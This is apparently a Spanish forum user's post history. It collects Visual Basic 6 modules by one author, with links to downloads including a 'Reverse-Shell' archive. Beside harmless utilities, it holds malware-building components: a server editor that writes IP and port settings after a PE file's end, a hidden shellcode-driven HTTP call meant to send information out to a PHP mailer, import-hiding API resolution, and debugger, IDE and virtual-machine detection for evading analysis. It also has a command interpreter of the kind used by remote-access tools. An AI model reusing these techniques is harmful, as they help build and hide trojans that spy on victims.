Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
http://www.2shared.com/file/MrpOZ4Jm/NK2.html
'---------------------------------------------------------------------------------------
' Module : mZIPInfo
' DateTime : 10/12/2010 10:45
' Author : Cobein
' Mail : cobein27@hotmail.com
' WebPage : http://www.advancevb.com.ar
' Purpose : Read file/folder info from zip files
' Usage : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' Reference : http://www.pkware.com/documents/casestudies/APPNOTE.TXT
'
' History : 10/12/2010 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit
Private Const ZIP_SIGNATURE As Long = &H4034B50
Private Type tZipHeader
Signature As Long
Version As Integer
Flag As Integer
Compression As Integer
FileTime As Integer
FileDate As Integer
CRC As Long
CompZise As Long
UncompSize As Long
NameLength As Integer
ExtraLength As Integer
End Type
Public Function ReadZipInfo(ByVal sFile As String) As Collection
Dim iFile As Integer
Dim tHead As tZipHeader
Dim sName As String
Dim sExtra As String
Dim lOffset As Long
Dim cNames As New Collection
On Local Error GoTo ReadZipInfo_Error
iFile = FreeFile
lOffset = 1
Open sFile For Binary Access Read As iFile
NextHead:
Get iFile, lOffset, tHead
With tHead
If .Signature = ZIP_SIGNATURE Then
sName = Space(.NameLength)
Get iFile, , sName
sExtra = Space(.ExtraLength)
Get iFile, , sExtra
Call cNames.Add(sName)
lOffset = lOffset + .CompZise + 30 + .ExtraLength + .NameLength
GoTo NextHead:
End If
End With
Close iFile
Set ReadZipInfo = cNames
On Error GoTo 0
Exit Function
ReadZipInfo_Error:
Close iFile
Set ReadZipInfo = cNames
End Function
http://cobein.com/wp/?p=618http://cobein.com/wp/wp-content/uploads/2010/09/SysCall.zip
http://www.advancevb.com.ar/?p=599http://www.advancevb.com.ar/wp-content/2010/09/Reverse-Shell.zip
If ChangeOEPFromFile (RUTA DEL EXE) then
debug.print "OK"
else
debug.print "=("
end if
'---------------------------------------------------------------------------------------
' Module : mGetProcAddress
' DateTime : 06/10/2008 20:06
' Author : Cobein
' Mail : cobein27@hotmail.com
' WebPage : http://www.advancevb.com.ar
' Member of : http://hackhound.org/
' Purpose : GetProcAddress alternative function
' Usage : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' Reference : Based on ExtremeCoder sample [http://www.rohitab.com/discuss/lofiversion/index.php/t30773.html]
'
' History : 06/10/2008 First Cut....................................................
' 06/10/2008 Minor change in buffer size to increase speed................
'---------------------------------------------------------------------------------------
Option Explicit
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Private Declare Sub GetMem4 Lib "msvbvm60" (ByVal Addr As Long, RetVal As Long)
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function SysAllocString Lib "oleaut32.dll" (ByVal pOlechar As Long) As String
Public Function GetProcAddressAlt(ByVal sLib As String, ByVal sMod As String) As Long
Dim lLib As Long
Dim i As Long
lLib = LoadLibraryA(sLib)
If Not lLib = 0 Then
Dim dwNumberOfNames As Long
Dim dwNamesOffset As Long
Dim dwNameRVAs As Long
Dim dwFuncOffset As Long
Dim dwFuncRVAs As Long
GetMem4 (lLib + &H3C), i
GetMem4 (lLib + i + &H78), i
GetMem4 (lLib + i + &H18), dwNumberOfNames
GetMem4 (lLib + i + &H20), dwNamesOffset
GetMem4 (lLib + i + &H1C), dwFuncOffset
Dim sBuff As String * 128
Dim sName As String
For i = 0 To dwNumberOfNames - 1
GetMem4 (lLib + dwNamesOffset + i * &H4), dwNameRVAs
GetMem4 (lLib + dwFuncOffset + i * &H4), dwFuncRVAs
sBuff = SysAllocString(lLib + dwNameRVAs)
sName = Left$(sBuff, lstrlen(sBuff))
If sName = sMod Then
GetProcAddressAlt = lLib + dwFuncRVAs
Exit Function
End If
Next
End If
End Function
'---------------------------------------------------------------------------------------
' Module : mInternetOpenAlter
' DateTime : 03/10/2008 23:11
' Author : Cobein
' Mail : cobein27@hotmail.com
' WebPage : http://www.advancevb.com.ar
' Member of : http://hackhound.org/
' Purpose : Do an URL request, usefull to send information.
' Usage : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' Reference : Inspired by an article from ErMoja
'
' History : 03/10/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
'
'// Sample PHP
'<?php
'$val = $_GET['value'];
'mail ('myemail@hotmail.com', 'Title', $val);
?>
'
'// Sample Call
'Private Sub Form_Load()
' InternetOpenAlter "http://www.myserver.com.ar/mailme.php?value=Test"
'End Sub
'---------------------------------------------------------------------------------------
Option Explicit
Private Declare Sub RtlMoveMemory Lib "kernel32" (pDst As Any, pSrc As Any, ByVal dlen As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal adr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Public Function InternetOpenAlter(ByVal sUrl As String) As Boolean
Dim lLib As Long
Dim lhConn As Long
Dim lhFile As Long
Dim bvASM(255) As Byte
Dim vItem As Variant
Dim lPos As Long
Dim lPtr As Long
Dim lMod As Long
For Each vItem In Array( _
&H58, &H59, &H59, &H59, &H59, &H50, &H68, &H0, &H0, &H0, &H0, &H68, &H0, &H0, &H0, &H0, _
&H68, &H0, &H0, &H0, &H0, &H68, &H1, &H0, &H0, &H0, &H68, &H0, &H0, &H0, &H0, &HE8, _
&H0, &H0, &H0, &H0, &HC3, &H58, &H59, &H59, &H59, &H59, &H50, &H68, &H0, &H0, &H0, &H0, _
&H68, &H0, &H0, &H0, &H80, &H68, &H0, &H0, &H0, &H0, &H68, &H0, &H0, &H0, &H0, &H68, _
&H0, &H0, &H0, &H0, &H68, &H0, &H0, &H0, &H0, &HE8, &H0, &H0, &H0, &H0, &HC3, &H58, _
&H59, &H59, &H59, &H59, &H50, &H68, &H0, &H0, &H0, &H0, &HE8, &H0, &H0, &H0, &H0, &HC3, _
&H58, &H59, &H59, &H59, &H59, &H50, &H68, &H0, &H0, &H0, &H0, &HE8, &H0, &H0, &H0, &H0, &HC3)
bvASM(lPos) = vItem: lPos = lPos + 1
Next
lPtr = VarPtr(bvASM(0))
lLib = LoadLibraryA("wininet")
lMod = GetProcAddress(lLib, "InternetOpenW")
RtlMoveMemory ByVal lPtr + 32, lMod - lPtr - 36, &H4
lMod = GetProcAddress(lLib, "InternetOpenUrlW")
RtlMoveMemory ByVal lPtr + 74, lMod - lPtr - 78, &H4
lMod = GetProcAddress(lLib, "InternetCloseHandle")
RtlMoveMemory ByVal lPtr + 91, lMod - lPtr - 95, &H4
RtlMoveMemory ByVal lPtr + 108, lMod - lPtr - 112, &H4
lhConn = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
If Not lhConn = 0 Then
RtlMoveMemory ByVal lPtr + 69, lhConn, &H4
RtlMoveMemory ByVal lPtr + 64, StrPtr(sUrl), &H4
lhFile = CallWindowProcA(VarPtr(bvASM(37)), 0, 0, 0, 0)
If Not lhFile = 0 Then
RtlMoveMemory ByVal lPtr + 86, lhFile, &H4
Call CallWindowProcA(VarPtr(bvASM(79)), 0, 0, 0, 0)
InternetOpenAlter = True
End If
RtlMoveMemory ByVal lPtr + 103, lhConn, &H4
Call CallWindowProcA(VarPtr(bvASM(96)), 0, 0, 0, 0)
End If
End Function
'---------------------------------------------------------------------------------------
' Module : cEditSvr
' DateTime : 19/09/2008 13:23
' Author : Cobein
' Mail : cobein27@hotmail.com
' WebPage : http://www.advancevb.com.ar
' Purpose : Read Write data at EOF
' Usage : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' History : 19/09/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private c_pBag As New PropertyBag
Private c_sFile As String
Private c_lEOF As Long
Public c_bHasData As Boolean
'---------------------------------------------------------------------------------------
' Procedure : GetEOF
' Author : E0N
' Purpose : Calculate EOF
'---------------------------------------------------------------------------------------
Private Function GetEOF(sPath As String) As Long
Dim vbData() As Byte
Dim PE As Long, NumberOfSections As Integer
Dim BeginLastSection As Long
Dim RawSize As Long, RawOffset As Long
Open sPath For Binary As #1
ReDim vbData(LOF(1) - 1)
Get #1, , vbData
Close #1
Call CopyMemory(PE, vbData(&H3C), 4)
Call CopyMemory(NumberOfSections, vbData(PE + &H6), 2)
BeginLastSection = PE + &HF8 + ((NumberOfSections - 1) * &H28)
Call CopyMemory(RawSize, vbData(BeginLastSection + 16), 4)
Call CopyMemory(RawOffset, vbData(BeginLastSection + 20), 4)
GetEOF = RawSize + RawOffset
End Function
Public Function ExeFile(sPath As String) As Boolean
c_sFile = sPath
c_lEOF = GetEOF(c_sFile)
If Not FileLen(c_sFile) = c_lEOF Then
c_bHasData = True
Dim vbData() As Byte
Open c_sFile For Binary As #1
ReDim vbData(LOF(1) - c_lEOF - 1)
Seek #1, c_lEOF + 1
Get #1, , vbData
Close #1
'+++++++++++++++++++++++++++++++++++++++++++++++++++++
'At this point you can Decrypt the byte array [vbData]
'+++++++++++++++++++++++++++++++++++++++++++++++++++++
Set c_pBag = New PropertyBag
c_pBag.Contents = vbData
End If
End Function
Public Sub WriteProp(sName As String, vVal As Variant)
c_pBag.WriteProperty sName, vVal
End Sub
Public Function ReadProp(sName As String) As Variant
ReadProp = c_pBag.ReadProperty(sName)
End Function
Public Function WriteData(sDstFile As String) As Boolean
Dim vbData() As Byte
Open c_sFile For Binary Access Read As #1
ReDim vbData(LOF(1) - 1)
Get #1, , vbData
Close #1
Open sDstFile For Binary Access Write As #1
Put #1, , vbData
vbData = c_pBag.Contents
'+++++++++++++++++++++++++++++++++++++++++++++++++++++
'At this point you can Encrypt the byte array [vbData]
'+++++++++++++++++++++++++++++++++++++++++++++++++++++
Put #1, , vbData
Close #1
End Function
Option Explicit
Private Sub Form_Load()
Dim c As New cEditSvr
c.ExeFile "c:\proyecto1.exe"
c.WriteProp "IP", "123.123.123.123"
c.WriteProp "Port", 1234
c.WriteData "c:\test.exe"
Set c = New cEditSvr
c.ExeFile "c:\test.exe"
Debug.Print c.ReadProp("IP")
Debug.Print c.ReadProp("Port")
End Sub
'---------------------------------------------------------------------------------------
' Procedure : SplitAlter
' DateTime : 16/09/2008 22:58
' Author : Cobein
' Mail : cobein27@yahoo.com
' Purpose : Complete Split Replacement
'---------------------------------------------------------------------------------------
Private Function SplitAlter(ByVal epresionje As String, Optional ByVal Delimiter As String, Optional ByVal Limit As Long = -1) As String()
Dim lLastPos As Long
Dim lIncrement As Long
Dim lExpLen As Long
Dim lDelimLen As Long
Dim lUbound As Long
Dim svTemp() As String
lExpLen = Len(epresionje)
If Delimiter = vbNullString Then Delimiter = " "
lDelimLen = Len(Delimiter)
If Limit = 0 Then GoTo QuitHere
If lExpLen = 0 Then GoTo QuitHere
If InStr(1, epresionje, Delimiter, vbBinaryCompare) = 0 Then GoTo QuitHere
ReDim svTemp(0)
lLastPos = 1
lIncrement = 1
Do
If lUbound + 1 = Limit Then
svTemp(lUbound) = Mid$(epresionje, lLastPos)
Exit Do
End If
lIncrement = InStr(lIncrement, epresionje, Delimiter, vbBinaryCompare)
If lIncrement = 0 Then
If Not lLastPos = lExpLen Then
svTemp(lUbound) = Mid$(epresionje, lLastPos)
End If
Exit Do
End If
svTemp(lUbound) = Mid$(epresionje, lLastPos, lIncrement - lLastPos)
lUbound = lUbound + 1
ReDim Preserve svTemp(lUbound)
lLastPos = lIncrement + lDelimLen
lIncrement = lLastPos
Loop
ReDim Preserve svTemp(lUbound)
SplitAlter = svTemp
Exit Function
QuitHere:
ReDim SplitAlter(-1 To -1)
End Function
Private Declare Function OutputDebugStringA Lib "kernel32" (ByVal lpString As String) As Long
Private Sub Form_Load()
If IsDebuggerActive Then
MsgBox "Debugger Present"
End If
End Sub
Private Function IsDebuggerActive() As Boolean
IsDebuggerActive = Not (OutputDebugStringA("=)") = 1)
End Function
'---------------------------------------------------------------------------------------
' Module : cCallAPIByName
' DateTime : 31/08/2008 19:40
' Author : Cobein
' Mail : cobein27@hotmail.com
' WebPage : http://www.advancevb.com.ar
' Purpose : Call APIs by name
' Usage : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' Credits : Arne Elster, original callpointer function.
'
' History : 31/08/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit
Private Declare Sub CpyMem Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Public Function DoNotCall() As Long
'
End Function
Public Function CallAPIByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
Dim lPtr As Long
Dim bvASM(&HEC00& - 1) As Byte
Dim i As Long
Dim lMod As Long
lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
If lMod = 0 Then Exit Function
lPtr = VarPtr(bvASM(0))
CpyMem ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
CpyMem ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
For i = UBound(Params) To 0 Step -1
CpyMem ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
CpyMem ByVal lPtr, CLng(Params(i)), &H4: lPtr = lPtr + 4
Next
CpyMem ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
CpyMem ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
CpyMem ByVal lPtr, &HC3, &H1
Dim lVTE As Long
Dim lRet As Long
CpyMem lVTE, ByVal ObjPtr(Me), &H4
lVTE = lVTE + &H1C
CpyMem lRet, ByVal lVTE, &H4
CpyMem ByVal lVTE, VarPtr(bvASM(0)), &H4
CallAPIByName = DoNotCall
CpyMem ByVal lVTE, lRet, &H4
End Function
Option Explicit
Private Sub Form_Load()
Dim c As New cCallAPIByName
c.CallAPIByName "user32", "MessageBoxW", 0, VarPtr(ByVal "Test"), VarPtr(ByVal "Test"), 0
End Sub
'---------------------------------------------------------------------------------------
' Module : cProgBar
' DateTime : 28/07/2008 09:23
' Author : Cobein
' Mail : cobein27@hotmail.com
' WebPage : http://cobein27.googlepages.com/vb6
' Purpose : Mini ProgressBar class
' Usage : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' History : 28/07/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit
Private Const PROGRESS_CLASSA As String = "msctls_progress32"
Private Const WS_VISIBLE As Long = &H10000000
Private Const WS_CHILD As Long = &H40000000
Private Const WM_USER As Long = &H400
Private Const PBM_SETPOS As Long = (WM_USER + 2)
Private Const PBS_SMOOTH As Long = &H1
Private Const PBS_VERTICAL As Long = &H4
Private Declare Function CreateWindowEx Lib "user32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private c_lhWnd As Long
Private c_lVal As Long
Public Function CreateProgBar( _
ByVal lhWndOwner As Long, _
ByVal Left As Long, _
ByVal Top As Long, _
ByVal Width As Long, _
ByVal Heght As Long, _
Optional ByVal bHorizontal As Boolean = True, _
Optional ByVal bSmooth As Boolean = False) As Boolean
Dim lFlag As Long
lFlag = WS_CHILD Or WS_VISIBLE
If Not bHorizontal Then lFlag = lFlag Or PBS_VERTICAL
If bSmooth Then lFlag = lFlag Or PBS_SMOOTH
If Not c_lhWnd = 0 Then Class_Terminate
c_lhWnd = CreateWindowEx(0, PROGRESS_CLASSA, vbNullString, _
lFlag, Left, Top, Width, Heght, _
lhWndOwner, vbNull, App.hInstance, ByVal 0&)
CreateProgBar = Not (c_lhWnd = 0)
End Function
Public Property Let Value(ByVal lVal As Long)
If Not c_lhWnd = 0 Then
c_lVal = lVal
Call SendMessage(c_lhWnd, PBM_SETPOS, ByVal lVal, ByVal 0&)
End If
End Property
Public Property Get Value() As Long
Value = c_lVal
End Property
Private Sub Class_Initialize()
'
End Sub
Private Sub Class_Terminate()
If Not c_lhWnd = 0 Then
Call DestroyWindow(c_lhWnd)
c_lhWnd = 0
End If
End Sub
'---------------------------------------------------------------------------------------
' Module : mShellElevated
' DateTime : 15/07/2008 07:32
' Author : Cobein
' Mail : cobein27@hotmail.com
' WebPage : http://cobein27.googlepages.com/vb6
' Purpose : Execute an app requesting admin rights
' Usage : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' History : 15/07/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit
Private Type SHELLEXECUTEINFO
cbSize As Long
fMask As Long
hwnd As Long
lpVerb As String
lpFile As String
lpParameters As String
lpDirectory As String
nShow As Long
hInstApp As Long
lpIDList As Long
lpClass As String
hkeyClass As Long
dwHotKey As Long
hIcon As Long
hProcess As Long
End Type
Private Declare Function ShellExecuteEx Lib "shell32.dll" (SEI As SHELLEXECUTEINFO) As Long
Public Function ShellElevated( _
ByVal sPath As String, _
Optional ByVal sParameters As String, _
Optional ByVal sDirectory As String, _
Optional ByVal eWindowstyle As VbAppWinStyle = vbNormalFocus) As Long
Dim tSHELLEXECUTEINFO As SHELLEXECUTEINFO
With tSHELLEXECUTEINFO
.cbSize = Len(tSHELLEXECUTEINFO)
.lpVerb = "runas"
.lpFile = sPath
.lpParameters = sParameters
.lpDirectory = sDirectory
.nShow = eWindowstyle
.hInstApp = App.hInstance
End With
ShellElevated = ShellExecuteEx(tSHELLEXECUTEINFO)
End Function
'---------------------------------------------------------------------------------------
' Module : mVM_Detect
' DateTime : 02/07/2008 20:46
' Author : Cobein
' Mail : cobein27@hotmail.com
' WebPage : http://cobein27.googlepages.com/vb6
' Purpose : Detect Virtual Machines
' Usage : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
'
' Reference : http://foro.elhacker.net/programacion_vb/source_isvirtualpcpresent_sistema_antivirtualpc-t218845.0.html
'
' Credits : This code is completely based on MadAntrax submission, I just implemented
' a non WMI version.
'
' History : 02/07/2008 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit
Private Const INVALID_HANDLE_VALUE As Long = (-1)
Private Const OPEN_EXISTING As Long = 3
Private Const FILE_SHARE_READ As Long = &H1
Private Const FILE_SHARE_WRITE As Long = &H2
Private Const DIGCF_PRESENT As Long = &H2
Private Const DIGCF_DEVICEINTERFACE As Long = &H10
Private Type STORAGE_DEVICE_NUMBER
dwDeviceType As Long
dwDeviceNumber As Long
dwPartitionNumber As Long
End Type
Private Type GUID
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(0 To 7) As Byte
End Type
Private Type SP_DEVICE_INTERFACE_DATA
cbSize As Long
InterfaceClassGuid As GUID
flags As Long
Reserved As Long
End Type
Private Type SP_DEVINFO_DATA
cbSize As Long
ClassGuid As GUID
DevInst As Long
Reserved As Long
End Type
Private Type SP_DEVICE_INTERFACE_DETAIL_DATA
cbSize As Long
strDevicePath As String * 260
End Type
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function DeviceIoControl Lib "kernel32" (ByVal hDevice As Long, ByVal dwIoControlCode As Long, lpInBuffer As Any, ByVal nInBufferSize As Long, lpOutBuffer As Any, ByVal nOutBufferSize As Long, lpBytesReturned As Long, lpOverlapped As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function SetupDiGetClassDevs Lib "setupapi.dll" Alias "SetupDiGetClassDevsA" (ByVal ClassGuid As Long, ByVal Enumerator As Long, ByVal HwndParent As Long, ByVal flags As Long) As Long
Private Declare Function SetupDiEnumDeviceInterfaces Lib "setupapi.dll" (ByVal DeviceInfoSet As Long, ByVal DeviceInfoData As Long, ByRef InterfaceClassGuid As GUID, ByVal MemberIndex As Long, ByRef DeviceInterfaceData As SP_DEVICE_INTERFACE_DATA) As Long
Private Declare Function SetupDiGetDeviceInterfaceDetail Lib "setupapi.dll" Alias "SetupDiGetDeviceInterfaceDetailA" (ByVal DeviceInfoSet As Long, ByRef DeviceInterfaceData As SP_DEVICE_INTERFACE_DATA, DeviceInterfaceDetailData As Any, ByVal DeviceInterfaceDetailDataSize As Long, ByRef RequiredSize As Long, DeviceInfoData As Any) As Long
Private Declare Function SetupDiDestroyDeviceInfoList Lib "setupapi.dll" (ByVal DeviceInfoSet As Long) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function QueryDosDevice Lib "kernel32" Alias "QueryDosDeviceA" (ByVal lpDeviceName As String, ByVal lpTargetPath As String, ByVal ucchMax As Long) As Long
Private Declare Function GetLogicalDrives Lib "kernel32" () As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Public Function IsVirtualPCPresent() As Boolean
Dim lBitMask As Long
Dim i As Long
Dim sData As String
lBitMask = GetLogicalDrives
For i = 0 To 25
If (lBitMask Or 2 ^ i) = lBitMask Then
sData = sData & UCase(GetPNPDeviceID(Chr$(65 + i)))
End If
Next
Select Case True
Case sData Like "*VIRTUAL*"
IsVirtualPCPresent = True
Case sData Like "*VBOX*"
IsVirtualPCPresent = True
End Select
End Function
Private Function GetPNPDeviceID(ByVal sDevice As String) As String
Dim tGUID As GUID
Dim hDevInfo As Long
Dim tSP_DEVICE_INTERFACE_DATA As SP_DEVICE_INTERFACE_DATA
Dim tSP_DEVICE_INTERFACE_DETAIL_DATA As SP_DEVICE_INTERFACE_DETAIL_DATA
Dim tSP_DEVINFO_DATA As SP_DEVINFO_DATA
Dim lDevNumb As Long
lDevNumb = GetDeviceNumber("\\.\" & Left$(sDevice, 1) & ":")
If lDevNumb = -1 Then Exit Function
sDevice = Left$(sDevice, 1) & ":"
With tGUID
.Data2 = &HB6BF: .Data3 = &H11D0&
.Data4(0) = &H94&: .Data4(1) = &HF2&
.Data4(2) = &H0&: .Data4(3) = &HA0&
.Data4(4) = &HC9&: .Data4(5) = &H1E&
.Data4(6) = &HFB&: .Data4(7) = &H8B&
Select Case GetDriveType(sDevice)
Case 2
Dim sDosDev As String * 260
Call QueryDosDevice(sDevice, sDosDev, 260)
If InStr(sDosDev, "\Floppy") Then
.Data1 = &H53F56311
Else
.Data1 = &H53F56307
End If
Case 3: .Data1 = &H53F56307
Case 5: .Data1 = &H53F56308
End Select
End With
hDevInfo = SetupDiGetClassDevs(VarPtr(tGUID), 0, 0, _
DIGCF_PRESENT Or DIGCF_DEVICEINTERFACE)
If hDevInfo = -1 Then Exit Function
tSP_DEVICE_INTERFACE_DATA.cbSize = Len(tSP_DEVICE_INTERFACE_DATA)
Dim lIndex As Long
Dim lSize As Long
Dim lReturn As Long
Do
If SetupDiEnumDeviceInterfaces(hDevInfo, 0, tGUID, _
lIndex, tSP_DEVICE_INTERFACE_DATA) Then
If SetupDiGetDeviceInterfaceDetail(hDevInfo, _
tSP_DEVICE_INTERFACE_DATA, ByVal 0&, 0, lSize, ByVal 0&) = 0 Then
If Not lSize = 0 Then
tSP_DEVICE_INTERFACE_DETAIL_DATA.cbSize = 5
tSP_DEVINFO_DATA.cbSize = Len(tSP_DEVINFO_DATA)
If SetupDiGetDeviceInterfaceDetail(hDevInfo, _
tSP_DEVICE_INTERFACE_DATA, tSP_DEVICE_INTERFACE_DETAIL_DATA, _
ByVal lSize, lReturn, tSP_DEVINFO_DATA) Then
If lDevNumb = _
GetDeviceNumber(tSP_DEVICE_INTERFACE_DETAIL_DATA.strDevicePath) Then
Call SetupDiDestroyDeviceInfoList(hDevInfo)
GetPNPDeviceID = Left$(tSP_DEVICE_INTERFACE_DETAIL_DATA.strDevicePath, _
lstrlen(tSP_DEVICE_INTERFACE_DETAIL_DATA.strDevicePath))
Exit Function
End If
End If
End If
End If
lIndex = lIndex + 1
Else
Exit Function
End If
Loop
Call SetupDiDestroyDeviceInfoList(hDevInfo)
End Function
Private Function GetDeviceNumber(ByVal sDrive As String) As Long
Dim hVolume As Long
Dim lRetBytes As Long
Dim tSTORAGE_DEVICE_NUMBER As STORAGE_DEVICE_NUMBER
hVolume = CreateFile(sDrive, 0, FILE_SHARE_READ Or FILE_SHARE_WRITE, _
ByVal 0&, OPEN_EXISTING, 0, 0)
GetDeviceNumber = -1
If Not hVolume = INVALID_HANDLE_VALUE Then
If DeviceIoControl(hVolume, &H2D1080, ByVal 0&, ByVal 0&, _
tSTORAGE_DEVICE_NUMBER, Len(tSTORAGE_DEVICE_NUMBER), _
lRetBytes, ByVal 0&) Then
GetDeviceNumber = tSTORAGE_DEVICE_NUMBER.dwDeviceNumber
End If
Call CloseHandle(hVolume)
End If
End Function
Option Explicit
Private Declare Function GetModuleHandle Lib "kernel32.dll" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private Sub Form_Load()
MsgBox IsEXE0
MsgBox IsEXE1
MsgBox IsEXE2
MsgBox IsEXE3
End Sub
Private Function IsEXE0() As Boolean
On Error GoTo IDE
Debug.Print 1 / 0
IsEXE0 = True
IDE:
End Function
Private Function IsEXE1() As Boolean
Static bEXE As Boolean
If Not bEXE Then
bEXE = True
Debug.Assert IsEXE1() Or True
IsEXE1 = bEXE
End If
bEXE = False
End Function
Private Function IsEXE2() As Boolean
IsEXE2 = Not (App.EXEName = App.Title)
End Function
Private Function IsEXE3() As Boolean
If GetModuleHandle("vba6") = 0 Then
IsEXE3 = True
End If
End Function
Option Explicit
Private Const DELIMITER As String = "|" ' delimitador para separar instrucciones
Private Const inst_MSG As String = "inst_MENSAJE" 'nombre de nustra instruccion
Private Const inst_BEEP As String = "inst_BEEP" 'nombre de otra instruccion
Private Sub Form_Load()
'esto es simplemente para imitar el arrivo de datos
TestDataArival inst_MSG & DELIMITER & "Hello"
TestDataArival inst_BEEP
TestDataArival inst_MSG & DELIMITER & "Bye Bye"
End Sub
'sData seria la variable con los datos que llegaron del socket
Private Sub TestDataArival(sData As String)
Dim cInstInt As New cInstructionInterpreter
'Vemos si la funcion tiene o no parametros
If UBound(Split(sData, DELIMITER)) > 0 Then
'llamamos a la funcion con parametros
CallByName cInstInt, Split(sData, DELIMITER)(0), VbMethod, sData
Else
'llamamos una funcion sin parametros
CallByName cInstInt, Split(sData, DELIMITER)(0), VbMethod
End If
End Sub
Option Explicit
Private Const DELIMITER As String = "|"
Public Sub inst_MENSAJE(ByVal sData As String)
Dim svData() As String
If SplitData(sData, 1, svData) Then
MsgBox svData(1)
End If
End Sub
Public Sub inst_BEEP()
Call Beep
End Sub
'funcion generica para dividir y validar los datos
Private Function SplitData( _
ByVal sData As String, _
ByVal lExpectedParams As Long, _
ByRef svData() As String) As Boolean
svData = Split(sData, DELIMITER)
If UBound(svData) >= lExpectedParams Then
SplitData = True
End If
End Function